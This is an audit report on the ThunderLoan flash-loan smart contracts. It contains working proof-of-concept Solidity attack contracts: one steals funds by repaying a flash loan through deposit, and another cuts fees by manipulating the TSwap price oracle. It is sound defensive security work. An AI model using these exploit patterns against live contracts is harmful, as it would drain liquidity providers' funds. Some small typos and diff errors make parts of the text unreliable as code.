ThunderLoan Protocol Audit Report

Version 1.0

github.com/lucasfhope

October 9, 2025

ThunderLoan Protocol Audit Report

Lucas Hope

October 9, 2025

Prepared by: Lucas Hope

Table of Contents

Protocol Summary

The ThunderLoan protocol intends to provide flash loans to a user. Flash loans are a loan that the user can take out, but it must be paid back by the end of the transactions. A fee is taken on every flash loan and must be paid to the protocol with the flash loan amount by the end of the transaction. Liquidity providers provide the liquidity for the flash loans. These liquidity providers receive asset tokens that represent shares of one of the liquidity pools, which can be redeemed for their share of the pool, which will include their initial investment into the pool plus a percentage of the fees accumulated. The protocol currently intends to have flash loan pools of wETH, LINK, DAI, and USDC.

Disclaimer

Lucas Hope makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this report corresponds to the following commit hash:

```
2250d81b89aebdd9cb135382e068af8c269e3a4b
```

Scope

```
src/
--- interfaces/
    --- IFlashLoanReceiver.sol
    --- IPoolFactory.sol
    --- IThunderLoan.sol
    --- ITSwapPool.sol
--- protocol/
    --- AssetToken.sol
    --- OracleUpgradeable.sol
    --- ThunderLoan.sol
--- upgradedProtocol/
    --- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

The audit found some issues with the way the protocol handles its funds, some minor issues in the codebase, and some ways the protocol could help itself and its users save some gas.

The audit found that this protocol is very centralized because it is designed to be deployed as a proxy, allowing the owner to change the functionality of anything in the protocol. In its current state, the owner can set a token to be disallowed, which would lock that token in the contract.

The audit also found that the way fees were handled is not the best. The fee is based on the TSwap DEX, which can be manipulated. The fee is also based on the wETH price, which is an unneccesary calclculation when the fee can be a flat rate of the token being loaned.

Issues found

Severity	Number of issues found
High	3
Medium	2

Severity	Number of issues found
Low	2
Info	10
Gas	4
Total	**21**

Findings

High

[H-1] `ThunderLoan::deposit` is unnecisarily calculating fees and calling `AssetToken::updateExchangeRate`, causing the protocol to miscalculate the fees that have been accrued and forcing `ThunderLoan::redeem` to always revert, and locking assets in the contract.

Description: In the `ThunderLoan` protocol, the `exchangeRate` of each `AssetToken` is responsible for tracking the exchange of the liquidity provider's shares to the amount of liquidity in the pool. The `exchnageRate` tracks the fees accumulated by the protocol so each liquidity provider can redeem the liquidity provided plus their share of the accumulated fees. However, in `ThunderLoan::deposit`, where the liquidity providers are supposed to add their liquidity to the pool, a fee is calculated and the `exchangeRate` is updated based on the fee. But, liquidity providers are not charged the fee, so the `exchangeRate` will be set to a value higher than what the liquidity provider can get back. If there is only one liquidity provider in a certain pool, they will never be able to redeem their liquidity for their asset token, because the `exchangeRate` will calculate the expected redemption amount as higher than the funds in the `AssetToken` contract.

Impact: The `exchnageRate` will be incorrectly set as higher than the funds in `AssetToken` contract. Therefore, liquidity providers will be able to redeem their asset tokens for more than their share of fees in the contract. Then, once a liquidity providers redeems too much of the contract's funds or there is only one liquidty provider in the pool, the rest of the funds in the contract will not be able to be redeemed.

Proof of Concept:

1. Liquidity provider deposits

2. It is now impossible for the liquidity provider to deposit unless another LP deposits. If this happens, then at least one of the LPs will be prevented from redeeming their liquidity if all LPs want to leave the protocol.

Proof of Code: Add this test to your test suite in `test/unit/ThunderLoanTest.t.sol`.

```
function testRedeemAfterDeposit() public setAllowedToken hasDeposits {
    uint256 exchangeRate = thunderLoan.getAssetFromToken(tokenA).
        getExchangeRate();
    console.log("Exchange rate: ", exchangeRate);

    uint256 amountToRedeem = type(uint256).max;
    vm.startPrank(liquidityProvider);
    vm.expectRevert();
    thunderLoan.redeem(tokenA, amountToRedeem);
    vm.stopPrank();

    // only deposits no loans, so rate should be 1:1 as no fees have
        accrued
    assert(exchangeRate > 1e18);
}
```

With only one depositer, this test proves that they will not be able to redeem the liquidity provided since the exchange rate has been set above the 1:1 threshold without any swaps being performed and fees being taken.

Recommended Mitigation: You should remove the fee calculation and the updating of the exchange rate in `ThunderLoan::deposit`.

```
    function deposit(IERC20 token, uint256 amount) external
        revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();

        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] The funds can be stolen from the protocol if the flash loan is return using `ThunderLoan::deposit`.

Description: An attacker can aquire a flash loan and repay it using `ThunderLoan::deposit`. From there, they can redeem the flash loan they deposited and the fee they paid.

Impact: An attack can drain the protocol of all of the funds provided by the liquidity providers.

Proof of Concept: The following happens in two seperate transactions.

1. An attacker takes out a flash loan from ThunderLoan and repays the amount and fee using `ThunderLoan::deposit`.
2. The attacker calls `ThunderLoan::redeem`, and they will be able to redeem the flash loan and fee they deposited.

Proof of Code: First, add this `DepositOverRepay` contract in `test/unit/ThunderLoanTest.t.sol`. This contract will use `ThunderLoan::deposit` to repay the flash loan and then can call `ThunderLoan::redeem`.

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns(bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

Make sure you import the following dependencies.

```
import {IFlashLoanReceiver} from "../../src/interfaces/
    IFlashLoanReceiver.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
```

Now you can add this test to your test suite in `test/unit/ThunderLoanTest.t.sol`.

```
function testUseDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits {
     vm.startPrank(user);
     uint256 amountToBorrow = 50e18;
     uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
     DepositOverRepay depositOverRepay = new DepositOverRepay(address(
         thunderLoan));
     tokenA.mint(address(depositOverRepay), fee);
     thunderLoan.flashloan(address(depositOverRepay), tokenA,
         amountToBorrow, "");
     depositOverRepay.redeemMoney();
     vm.stopPrank();

     assert(tokenA.balanceOf(address(depositOverRepay)) > 50e18 + fee);
}
```

You will find that `DepositOverRepay` contract only starts with the fee that it needs to pay, but it ends up with the amount it borrowed from the flash loan because it was able to deposit and redeem the loan.

Recommended Mitigation: You should add a check in deposit to ensure that the there is not a current flash loan taking place. You can also have the `ThunderLoan` contract pull the amount loaned plus the fee from the user, forcing them to repay the funds instead having the recipient of the loan repay the loan themselves.

[H-3] Mixing up variable loaction in `ThunderLoanUpgraded` causes storage collision for `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing the protocol.

Description: `ThunderLoan.sol` has the variables in the following order.

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee;
```

But, the upgraded comtract `ThunderLoanUpgraded.sol` has them in a different order.

```
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
```

Because of how Solidity storage works, after the upgrade `s_flashLoanFee` will have the value of `s_feePrecision` because `s_flashLoanFee` will be pointing to storage slot 2 that previously held the value for `s_feePrecision`. You cannot adjust the position of storage variables in proxies, and removing storage variables for constant vriables will also break storage locations.

Impact: After the upgrade, the `s_flashLoanFee` sill have the value of `s_FeePrecision`. This means the users will be charged the wrong fee after the upgrade. The `s_currentlyFlashLoaning` mapping will also be in the wrong storage slot.

Proof of Code: Add this test to your test suite in `test/unit/ThunderLoanTest.t.sol`.

```
function testUpgradeBreaks() public {
    uint256 feeBeforeUpgrade = thunderLoan.getFee();
    vm.startPrank(thunderLoan.owner());
    ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
    thunderLoan.upgradeToAndCall(address(upgraded), "");
    uint256 feeAfterUpgrade = thunderLoan.getFee();
    vm.stopPrank();

    console2.log("Fee before upgrade: ", feeBeforeUpgrade);
    console2.log("Fee after upgrade:  ", feeAfterUpgrade);

    assert(feeBeforeUpgrade != feeAfterUpgrade);
}
```

Make sure you import `ThunderLoanUpgraded`.

```
import {ThunderLoanUpgraded} from "src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
```

You will see that the fee is now 1e18, which is what `s_feePrecision` was set as.

You can also see the difference in storage layout if you run `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

Recommended Mitigation: If you must remove the storage variable, leave it as blank to not mess up the storage slots.

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_bank;
+    uint256 private s_flashLoanFee; // 0.3% ETH fee
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Centralization Risk requires a trusted owner

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds. This is also important as this protocol is behind a proxy, which gives the power to the owner to update how the protocol functions.

- Found in src/protocol/ThunderLoan.sol Line: 239

  ```
      function setAllowedToken(IERC20 token, bool allowed) external
         onlyOwner returns (AssetToken) {
  ```

  The owner could use `setAllowedToken` to lock deposited funds in the contract.

- Found in src/protocol/ThunderLoan.sol Line: 265

  ```
      function updateFlashLoanFee(uint256 newFee) external onlyOwner
          {
  ```

  The owner could change the fee structure.

- Found in src/protocol/ThunderLoan.sol Line: 292

  ```
      function _authorizeUpgrade(address newImplementation) internal
          override onlyOwner { }
  ```

  The owner could chnage how the protocol functions.

[M-2] Using TSwap as a price oracle allows for price and oracle manipulation attacks.

Description: The TSwap protocl is a decentralized exchnage with a constant product formula based automated market maker. Therefore, the price of a token is determined by how many reserves of each token there are. Because of this, it is easy for a malicious user to manipulate the price of a token by buying or selling a large amount of the token in the same transaction to get around protocol fees.

Impact: Liquidity Providers will receive reduced fees for transactions that occur while the TSwap exchange has a manipulated price.

Proof of Concept: The follow can happen all in one transaction.

1. A user takes a flash loan from ThunderLoan for 1000 tokenA. They are charged the normal fee.
2. The user sells 1000 tokenA through TSwap, which tanks the price of tokenA in TSwap.
3. Instead of repaying, the user takes out another flash loan. Since ThunderLoan calculates the fee based on the TSwap price, this second flash loan is much cheaper.

4. The user repays both flash loans, but the user only pays a fee that is much less than getting the same amount of tokenA in one flash loan.

Proof of Code: First, add this `MaliciousFlashLoanReceiver` contract in `test/unit/ThunderLoanTest.t.sol`. This contract will perform the above steps of selling the loaned token to TSwap and then taking out another flash loan before repaying both loans.

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;
    constructor(address _thunderLoan, address _tswapPool, address
        _repayAddress) {
        thunderLoan = ThunderLoan(_thunderLoan);
        tswapPool = BuffMockTSwap(_tswapPool);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns(bool)
    {
        if(!attacked) {
            // 1. Swap TokenA borrowed for WETH
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            // This will tank the price of Weth (this will actually
                tank the price of pool token)
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp);
            // 2. Take out another flash loan to show the difference in
                fees
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                "");
            // repay
            IERC20(token).transfer(repayAddress, amount + fee);
        } else {
            // calculate the fee and repay
```

```
                feeTwo = fee;
                // repay
                IERC20(token).approve(address(thunderLoan), amount + fee);
                thunderLoan.repay(IERC20(token), amount + fee);
            }
            return true;
        }
    }
```

Make sure you import the following dependencies.

```
import {BuffMockPoolFactory} from "../mocks/BuffMockPoolFactory.sol";
import {ERC20Mock} from "../mocks/ERC20Mock.sol";
import {BuffMockTSwap} from "../mocks/BuffMockTSwap.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/
    ERC1967Proxy.sol";
import {IFlashLoanReceiver} from "../../src/interfaces/
    IFlashLoanReceiver.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
```

Now you can add this test to your test suite in `test/unit/ThunderLoanTest.t.sol`.

```
function testOracleManipulation() public {
    // Setup contracts
    thunderLoan = new ThunderLoan();
    tokenA = new ERC20Mock();
    proxy = new ERC1967Proxy(address(thunderLoan), "");
    BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
    // create a tswap dex between weth and token A
    address tswapPool = pf.createPool(address(tokenA));
    thunderLoan = ThunderLoan(address(proxy));
    thunderLoan.initialize(address(pf));

    // fund TSwap
    tokenA.mint(address(liquidityProvider), 100e18);
    weth.mint(address(liquidityProvider), 100e18);
    vm.startPrank(liquidityProvider);
    tokenA.approve(address(tswapPool), 100e18);
    weth.approve(address(tswapPool), 100e18);
    BuffMockTSwap(address(tswapPool)).deposit(100e18, 100e18, 100e18,
        block.timestamp);  // ratio => 1 weth : 1 tokenA
    vm.stopPrank();

    // fund ThunderLoan
    vm.prank(thunderLoan.owner());
    thunderLoan.setAllowedToken(tokenA, true);

    tokenA.mint(liquidityProvider, 1000e18);
    vm.startPrank(liquidityProvider);
    tokenA.approve(address(thunderLoan), 1000e18);
    thunderLoan.deposit(tokenA, 1000e18);
    vm.stopPrank();

    // Take out two flash loans
    // 1. nuke the price of Weth/tokenA on TSwap
    // 2. To show that doing so greatly reduces the fees on ThunderLoan
    uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
    console2.log("Normal fee cost:              ", normalFeeCost);

    uint256 amountToBorrow = 50e18;
    MaliciousFlashLoanReceiver maliciousReceiver = new MaliciousFlashLoanReceiver(address(thunderLoan), address(tswapPool), address(thunderLoan.getAssetFromToken(IERC20(tokenA))));

    vm.startPrank(user);
    tokenA.mint(address(maliciousReceiver), 100e18);
    weth.mint(address(maliciousReceiver), 50e18);
    thunderLoan.flashloan(address(maliciousReceiver), tokenA, amountToBorrow, "");
    vm.stopPrank();

    uint256 attackFee = maliciousReceiver.feeOne() + maliciousReceiver.feeTwo();
    console2.log("Attack fee cost:              ", attackFee);
    console2.log("Fee after TSwap manipulation: ", maliciousReceiver.feeTwo());

    assert(attackFee < normalFeeCost);
}
```

You will see that the fees from taking a flash loan of 100e18 will be much higher then when the malicous user manipulates the TSwap price with the first 50e18 and then takes out a second flash loan for another 50e18.

Recommended Mitigation: Consider using a different price oracle like a Chainlink price feed. You could also calculate the fee based on a flat percentage of the token rather than getting the token price in wETH, as it is weird to calculate fees based on the wETH value. Also, trying to get the value of wETH for wETH may cause problems since all of the TSwap pools are set up between a token and wETH, and a wETH to wETH pool would be pointless.

Low

[L-1] Initializers can be front run

Initializers can be front-run, allowing an attacker to set their own values, take ownership of the contract, or force a redeployment.

To avoid this, include initialization within you deploy script.

[L-2] `IThunderLoan::repay` has an incorrect input parameter.

The `repay` function in the `IThunderLoan` interface takes an address for a token when it should take IERC20 as it does in the `ThunderLoan` contract.

interface IThunderLoan { function repay(address token, uint256 amount) external; }

Informational

[I-1] USDC is behind a proxy, so working with the token is risky if the contract upgrades and effects the protocol

Since USDC is behind a proxy, it could be upgraded at any time. If the USDC contract upgrades to blacklists the `ThunderLoan` or `AssetToken` contract, it would freeze the protocol and prevent liquidity providers from redeeming their funds.

[I-2] Poor test coverage

```
|----------------------------------------------+------------------+----------------
| File                                         | % Lines          | % Statements      | % Branches     | % Funcs          |
+=================================================================================
| src/protocol/AssetToken.sol                  | 80.77% (21/26)   | 80.00% (16/20)    | 0.00% (0/3)    | 88.89% (8/9)     |
|----------------------------------------------+------------------+----------------
| src/protocol/OracleUpgradeable.sol           | 90.91% (10/11)   | 100.00% (9/9)     | 100.00% (0/0) | 80.00% (4/5)     |
|----------------------------------------------+------------------+----------------
```

```
| src/protocol/ThunderLoan.sol                      | 77.91% (67/86)    |
  80.72% (67/83)    | 27.27% (3/11) | 82.35% (14/17) |
|-----------------------------------------------+-------------------+---------------
| src/upgradedProtocol/ThunderLoanUpgraded.sol | 4.82% (4/83)      |
  2.47% (2/81)      | 0.00% (0/11)  | 12.50% (2/16)  |
|-----------------------------------------------+-------------------+---------------
```

The test coverage of the core protocol contracts is very low. The test coverage should be as close to 100% as possible for the base level of security for the protocol.

[I-3] Many important functions in the protocol lack natspec and leave the function and its inputs ambiguous to user.

The following functions are essential to the protocol yet do not have natspec.

- `IFlashLoanReceiver::executeOperation`
- `ThunderLoan::deposit`
- `ThunderLoan::flashloan`
- `ThunderLoan::setAllowedToken`

While these are some of the more importamt functions, there are functions throughout the protocol that do not have natspec.

[I-4] Lack of zero address check when setting `OracleUpgradeable::s_poolFactory`

Check for `address(0)` when assigning values to address state variables.

- Found in src/protocol/OracleUpgradeable.sol Line: 16

```
        s_poolFactory = poolFactoryAddress;
```

[I-5] Unused error

You should remove the unused error.

- Found in src/protocol/ThunderLoan.sol Line: 84

```
    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

[I-6] Unused Import

You should remove the unused import from `IFlashLoanReceiver`.

- Found in src/interfaces/IFlashLoanReceiver.sol Line: 4

```
import { IThunderLoan } from "./IThunderLoan.sol";
```

[I-7] Not emitting an event when updating the flash loan fee.

There are state variable changes in `ThunderLoan::updateFlashLoanFee` but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

[I-8] `ThunderLoan` does not implement `IThunderLoan`

The `ThunderLoan` contract should inheret from the `IThunderLoan` interface.

```
import { IFlashLoanReceiver } from "../interfaces/IFlashLoanReceiver.sol";

+  import { IThunderLoan } from "../interfaces/IFlashThunderLoan.sol";

-  contract ThunderLoan is Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable {
+  contract ThunderLoan is Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable, IThunderLoan {
```

[I-9] Magic numbers

Numeric literals should be defined as constant variables.

```
+    uint256 private constant FEE_PRECISION = 1e18;
+    uint256 private constant STARTING_FLASH_LOAN_FEE = 3e15;

function initialize(address tswapAddress) external initializer {
        __Ownable_init(msg.sender);
        __UUPSUpgradeable_init();
        __Oracle_init(tswapAddress);
-       s_feePrecision = 1e18;
-       s_flashLoanFee = 3e15; // 0.3% ETH fee
+       s_feePrecision = FEE_PRECISION;
+       s_flashLoanFee = STARTING_FLASH_LOAN_FEE;
    }
```

[I-10] The `ThunderLoan::repay` function cannot be used if a user takes nested flash loans.

If a user takes a flash loan and then another flash loan in the same transaction, `repay` can be used for the most recent flash loan but after the user will have to use `transfer` to repay their flash loans.

This is because `s_currentlyFlashLoaning` is set to true during every call to flash loan but sets `s_currentlyFlashLoaning` to false after the most recent loan has been repaid.

Gas

[G-1] Public Functions Not Used Internally

If a function is marked public but is not used internally, it should be marked as `external`.

- Found in src/protocol/ThunderLoan.sol Line: 231

  ```
      function repay(IERC20 token, uint256 amount) public {
  ```

- Found in src/protocol/ThunderLoan.sol Line: 276

  ```
      function getAssetFromToken(IERC20 token) public view returns (
          AssetToken) {
  ```

- Found in src/protocol/ThunderLoan.sol Line: 280

  ```
      function isCurrentlyFlashLoaning(IERC20 token) public view
          returns (bool) {
  ```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 230

  ```
      function repay(IERC20 token, uint256 amount) public {
  ```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 275

  ```
      function getAssetFromToken(IERC20 token) public view returns (
          AssetToken) {
  ```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 279

  ```
      function isCurrentlyFlashLoaning(IERC20 token) public view
          returns (bool) {
  ```

[G-2] Using private rather than public for constants saves gas

The value can always be read in the verified source code, anbd it will save deployment gas because the compiler will not have to create a non-payable getter function in the deployment calldata, not having to store the bytes of the vlaue outside of where it is used, and not adding another entry to the method ID table.

```
-    uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
+    uint256 private constant EXCHANGE_RATE_PRECISION = 1e18;
```

[G-3] Using boolean in storage incurs overhead

Use uint256(1) and uint256(2) for true and false to avoid setting values from 0 to a non-zero value repeatedly. This will cost the user an extra ~20,000 gas every time a storage is set from 0 to a non-zero value.

```
mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

[G-4] To many reads from the same storage varaible in `AssetToken::updateExchangeRate`.

Reading from storage repeatedly costs extra gas. You should instead cache the storeage reads.

```
function updateExchangeRate(uint256 fee) external onlyThunderLoan {

     ...

+    uint256 currentExchangeRate = s_exchangeRate;
+    uint256 assetTokenSupply = totalSupply();

-    uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
    totalSupply();
+    uint256 newExchangeRate = currentExchangeRate * (assetTokenSupply +
     fee) / assetTokenSupply;

-     if (newExchangeRate <= s_exchnageRate) {
+     if (newExchangeRate <= currentExchnageRate) {
-         revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate,
    newExchangeRate);
+         revert AssetToken__ExhangeRateCanOnlyIncrease(
    currentExchangeRate, newExchangeRate);
     }
     s_exchangeRate = newExchangeRate;
-    emit ExchangeRateUpdated(newExchangeRate);
}
```